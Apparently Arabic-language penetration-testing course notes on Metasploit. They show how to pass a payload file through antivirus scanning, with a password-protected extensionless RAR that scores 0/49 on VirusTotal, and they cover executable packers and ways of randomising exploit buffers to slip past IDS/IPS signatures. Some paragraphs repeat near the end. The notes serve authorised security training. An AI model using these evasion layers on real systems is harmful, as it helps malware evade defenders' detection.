RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive test.rar
Adding test.js OK
Done
ls
test.js test.rarmv test.rar test
lstest test.jsrar a test2.rar -p test
Enter password (will not be echoed): ******
Reenter password: ******
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive test2.rar
Adding test OK
Donemv test2.rar test2
ls
test test2 test.jsالملف test2 هو الـ .rar الأخير من غير الامتداد. نرفعه على VirusTotal تاني:
msf-virustotal -k <API key> -f test2
[*] Using API key: <API key>
[*] Please wait while I upload test2...
[*] VirusTotal: Scan request successfully queued, come back later for the
report
[*] Sample MD5 hash : 2f25eeeea28f737917e59177be61be6d
[*] Sample SHA1 hash : c31d7f02cfadd87c430c2eadf77f287db4701429
[*] Sample SHA256 hash :
76ec64197aa2ac203a5faa303db94f530802462e37b6e1128377315a93d1c2ad
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-
<SNIP>-1652167804
[*] Requesting the report...[*] Received code 0. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Analysis Report: test2 (0 / 49):
76ec64197aa2ac203a5faa303db94f530802462e37b6e1128377315a93d1c2ad
==========================================================================
=======================
Antivirus Detected Version Result Update
--------- -------- ------- ------ ------
ALYac false 1.1.3.1 20220510
Acronis false 1.2.0.108 20220426
Ad-Aware false 3.0.21.193 20220510
AhnLab-V3 false 3.21.3.10230 20220510
Antiy-AVL false 3.0 20220510
Arcabit false 1.0.0.889 20220510
Avira false 8.3.3.14 20220510
BitDefender false 7.2 20220510
BitDefenderTheta false 7.2.37796.0 20220428
Bkav false 1.3.0.9899 20220509
CAT-QuickHeal false 14.00 20220510
CMC false 2.10.2019.1 20211026
ClamAV false 0.105.0.0 20220509
Comodo false 34606 20220509
Cynet false 4.0.0.27 20220510
Cyren false 6.5.1.2 20220510
DrWeb false 7.0.56.4040 20220510
ESET-NOD32 false 25243 20220510
Emsisoft false 2021.5.0.7597 20220510
F-Secure false 18.10.978.51 20220510
FireEye false 35.24.1.0 20220510
Fortinet false 6.2.142.0 20220510
Gridinsoft false 1.0.77.174 20220510
Jiangmin false 16.0.100 20220509
K7AntiVirus false 12.12.42275 20220510
K7GW false 12.12.42275 20220510
Kingsoft false 2017.9.26.565 20220510
Lionic false 7.5 20220510
MAX false 2019.9.16.1 20220510
Malwarebytes false 4.2.2.27 20220510
MaxSecure false 1.0.0.1 20220510
McAfee-GW-Edition false v2019.1.2+3728 20220510
MicroWorld-eScan false 14.0.409.0 20220510
NANO-Antivirus false 1.0.146.25588 20220510
Panda false 4.6.4.2 20220509
Rising false 25.0.0.27 20220510
SUPERAntiSpyware false 5.6.0.1032 20220507Sangfor false 2.14.0.0 20220507
Symantec false 1.17.0.0 20220510
TACHYON false 2022-05-10.02 20220510
Tencent false 1.0.0.1 20220510
TrendMicro-HouseCall false 10.0.0.1040 20220510
VBA32 false 5.0.0 20220506
ViRobot false 2014.3.20.0 20220510
VirIT false 9.5.191 20220509
Yandex false 5.5.2.24 20220428
Zillya false 2.0.0.4627 20220509
ZoneAlarm false 1.0 20220510
Zoner false 2.2.2.0 20220509زي ما بين: طريقة ممتازة لنقل الداتا من وإلى الهدف.
الـ Packer هو نتيجة ضغط executable: الـ payload بيتعبى مع برنامج وكود فك الضغط في ملف واحد. وقت التشغيل، كود فك الضغط بيرجع الـ backdoored executable لحالته الأصلية، فبتحصل طبقة حماية إضافية ضد فحص الملفات. بيحصل بشفافية: الملف يشتغل زي الأصل وبكل وظائفه. وmsfvenom بيوفر ضغط وتغيير بنية الملف وتشفير بنية الـ process.
| UPX packer | The Enigma Protector | MPRESS |
| Alternate EXE Packer | ExeStealth | Morphine |
| MEW | Themida |
للتفاصيل: مشروع PolyPack.
لما تكتب exploit أو تحول واحد جاهز، تأكد إن الكود مش سهل يتعرف عليه. مثلا Buffer Overflow exploit عادي ممكن يتميز عن الـ traffic الطبيعي بسبب أنماط الـ hexadecimal buffer. الـ IDS/IPS ممكن يفحص ويلاحظ أنماط مستهلكة. الـ randomization بيضيف تنويع بيكسر توقيعات الـ exploit buffers المعروفة، وبيتعمل بإضافة Offset في كود الـ module:
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' =>
5093 } ],
],وبعيدا عن BoF code، تجنب NOP sleds الواضحة في المكان اللي هينزل فيه الـ shellcode بعد الـ overflow. تذكير: غرض BoF code إنه يكرش الخدمة، والـ NOP sled هي الذاكرة اللي بيتحط فيها الـ shellcode. الـ IPS/IDS بيفحصوا الاتنين، فاختبر الـ exploit في sandbox قبل العميل. غالبا عندك فرصة واحدة في الـ assessment.
لتفاصيل أكتر: كتاب Metasploit - The Penetration Tester's Guide من No Starch Press.
الـ IPS وAntivirus engines أشهر أدوات المدافعين اللي ممكن تضرب أول foothold. بتشتغل أساسا على توقيعات الملف الخبيث كله أو الـ stub stage.
السكشن ده high-level. فيه موديولات لاحقة هتتعمق في الـ evasion. جرب التقنيات على HTB machines قديمة أو VM فيها Windows Defender قديم أو AV مجاني، وتدرب على الـ evasion. موضوع واسع مش هيتغطى في سكشن واحد.
طبقات الـ evasion: AES tunnel (ضد network IDS)، executable templates مع -k، archives بباسورد من غير extension، packers، وrandomization للـ exploit code. ولا واحدة لوحدها كفاية.
الترقية لـ MSF6 بتخلي كل الـ payload sessions القديمة اللي اتعملت بـ MSF5 غير صالحة. وكمان الـ payloads المولدة بـ MSF5 مش هتشتغل مع آليات اتصال MSF6.
ReflectiveLoader مش موجود دلوقتي كنص في الـ payload binaries.إضافة Mimikatz القديمة اتشالت لصالح خليفتها Kiwi. محاولة تحميل Mimikatz هتحمل Kiwi.
استبدلت routine التوليد الثابتة للـ shellcode بـ randomization routine بتضيف خصائص polymorphic للـ stub الحساس ده عن طريق ترتيب التعليمات بشكل مختلف كل مرة. لتفاصيل أكتر والـ changelog الكامل، راجع اللينك في الموديول الأصلي.
Metasploit إطار قوي، وغالبا بيتساء استخدامه ويتوصف غلط، لكنه جزء مهم من ترسانة الـ pentester لو اتستخدم صح. قابل للتوسيع جدا، ممتاز لتتبع الداتا أثناء الـ assessment، وممتاز للـ post-exploitation والـ pivoting. جرب كل مزاياه وشوف إزاي بتناسب شغلك؛ ولو بتفضل تتجنبه، دي برضو اختيار سليم، فيه أدوات كتير وانت تشتغل بالأريح ليك. للمزيد من التدريب: صناديق HTB المرتبطة بآخر الموديول، أو أي box/Academy target بـ Metasploit، وكمان Dante Pro Lab (خصوصا للـ pivoting).
الرحلة: msfconsole → modules → targets → payloads → encoders → database → plugins → sessions/jobs → Meterpreter → MSFvenom → evasion. الأداة خادم لمنهجيتك، مش العكس.
استخدم الأداة كأداة، مش كعمود فقري للـ assessment كله. الأدوات بتوفر وقت للبحث الأعمق في آليات الأمان، وده اللي بيخليك محترف.
الـ versions هي مفتاح الـ Enumeration: نسخة غير مرقعة من خدمة معروفة، أو كود قديم في platform متاح للعامة، هو غالبا نقطة دخولك للنظام.
المثال ده سريع وقذر، لكنه بيوضح الإطار: module واحد، من غير اختيار payload ولا encoding ولا pivoting بين sessions. ده بالظبط اللي بيخلي msfconsole مفيد في الدقايق الأولى.
show payloads جوه module = القايمة مفلترة تلقائيا على نظام الهدف. set payload <no.> بيختار، وبعده LHOST/LPORT بس اللي عادة محتاجين تعديل.
الـ encoder مش بيحمي لوحده. SGN مفيد لـ bad characters والتوافق، لكن كشف الـ AV محتاج طبقات تانية: تشفير متعدد، archiving، packers، وتعديل الكود.
Meterpreter = DLL injection في الذاكرة + AES على الـ socket + extensions بتتحمل حسب الصلاحيات. عشان كده هو الأساس لأغلب شغل الـ post-exploitation في الموديول ده.
لو الـ Meterpreter session بتموت كتير، جرب تعمل encoding للـ payload لتفادي errors وقت التشغيل. أي encoder مناسب هيحسن فرص النجاح.
طبقات الـ evasion: AES tunnel (ضد network IDS)، executable templates مع -k، archives بباسورد من غير extension، packers، وrandomization للـ exploit code. ولا واحدة لوحدها كفاية.
الرحلة: msfconsole → modules → targets → payloads → encoders → database → plugins → sessions/jobs → Meterpreter → MSFvenom → evasion. الأداة خادم لمنهجيتك، مش العكس.